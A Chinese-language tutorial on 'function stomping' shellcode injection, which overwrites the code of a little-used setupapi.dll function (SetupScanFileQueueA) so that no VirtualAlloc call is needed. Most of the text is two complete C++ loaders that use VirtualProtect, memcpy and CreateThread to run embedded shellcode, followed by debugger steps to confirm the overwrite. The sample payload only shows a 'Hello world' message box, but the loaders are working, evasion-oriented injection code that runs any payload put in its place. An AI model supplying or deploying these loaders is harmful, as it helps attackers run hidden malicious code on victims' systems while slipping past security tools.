函数篡改注入

一、介绍

利用函数篡改注入可以避免使用 VirtualAlloc/Ex WinAPI 调用，使用新代码替换原始函数的字节，导致函数被替换或不再按预期工作。相反，函数将执行不同的逻辑。要实现这一点，需要一个被践踏的牺牲函数地址

（1）选择目标函数

本地获取函数地址很简单，但用这种技术获得的主要关注点是哪个函数。覆盖常用函数可能导致有效负载的不可控执行或进程崩溃。因此，很明显，针对 ntdll.dll、kernel32.dll 和 kernelbase.dll 导出的函数是有风险的。相反，应该针对使用频率较低的函数。

（2）实现流程

1、使用 LoadLibraryA 将 Setupapi.dll 加载到本地进程内存中

2、然后使用 GetProcAddress 检索函数的地址。

3、下一步是破坏函数并用有效载荷替换它，使用 VirtualProtect 标记其内存区域为可读可写以确保可以覆盖函数。

4、将有效载荷写入函数的地址，

5、最后，再次使用 VirtualProtect 将该区域标记为可执行（RX 或 RWX）。

二、实现代码

实现一：

#include <windows.h>
#include <iostream>
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"

unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";


int main() {
    HANDLE hThread = NULL;
    DWORD dwOldProtection = NULL;

    HMODULE dllname = LoadLibraryA(SACRIFICIAL_DLL);
    PVOID pAddress = GetProcAddress(dllname, SACRIFICIAL_FUNC);
    printf("[+] 函数 \"%s\" 的地址：0x%p \n", SACRIFICIAL_FUNC, pAddress);
    printf("[#] 按 <Enter> 键加载 \"%s\" ... ", SACRIFICIAL_DLL);
    getchar();
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(pAddress, shellcode, sizeof(shellcode));
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtection);
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);
    printf("[#] 按 <Enter> 键退出 ... ");
    getchar();
}

实现2：
不依赖LoadLibraryA+GetProcAddress获取函数地址，加载静态链接库,使用地址运算符直接检索目标函数地址（例如：&SetupScanFileQueueA）的方式可以不调用 LoadLibraryA+GetProcAddress获取函数地址

#include <windows.h>
#include <setupapi.h>
#include <iostream>
#pragma comment (lib, "Setupapi.lib")

unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";


int main() {
    HANDLE hThread = NULL;
    DWORD dwOldProtection = NULL;

    //HMODULE dllname = LoadLibraryA(SACRIFICIAL_DLL);
    //PVOID pAddress = GetProcAddress(dllname, SACRIFICIAL_FUNC);
    printf("[+] Address of \"SetupScanFileQueueA\": 0x%p\n", &SetupScanFileQueueA);

    printf("[#] 按 <Enter> 键加载 SetupScanFileQueueA");
    getchar();
    VirtualProtect(&SetupScanFileQueueA, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(&SetupScanFileQueueA, shellcode, sizeof(shellcode));
    VirtualProtect(&SetupScanFileQueueA, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtection);
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&SetupScanFileQueueA, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);
    printf("[#] 按 <Enter> 键退出 ... ");
    getchar();
}

使用x64debug加载程序ctrl+g输入SetupScanFileQueueA函数地址，右健在内存窗口中转到->选定的地址

 可以看到原始函数内容成功被替换成shellcode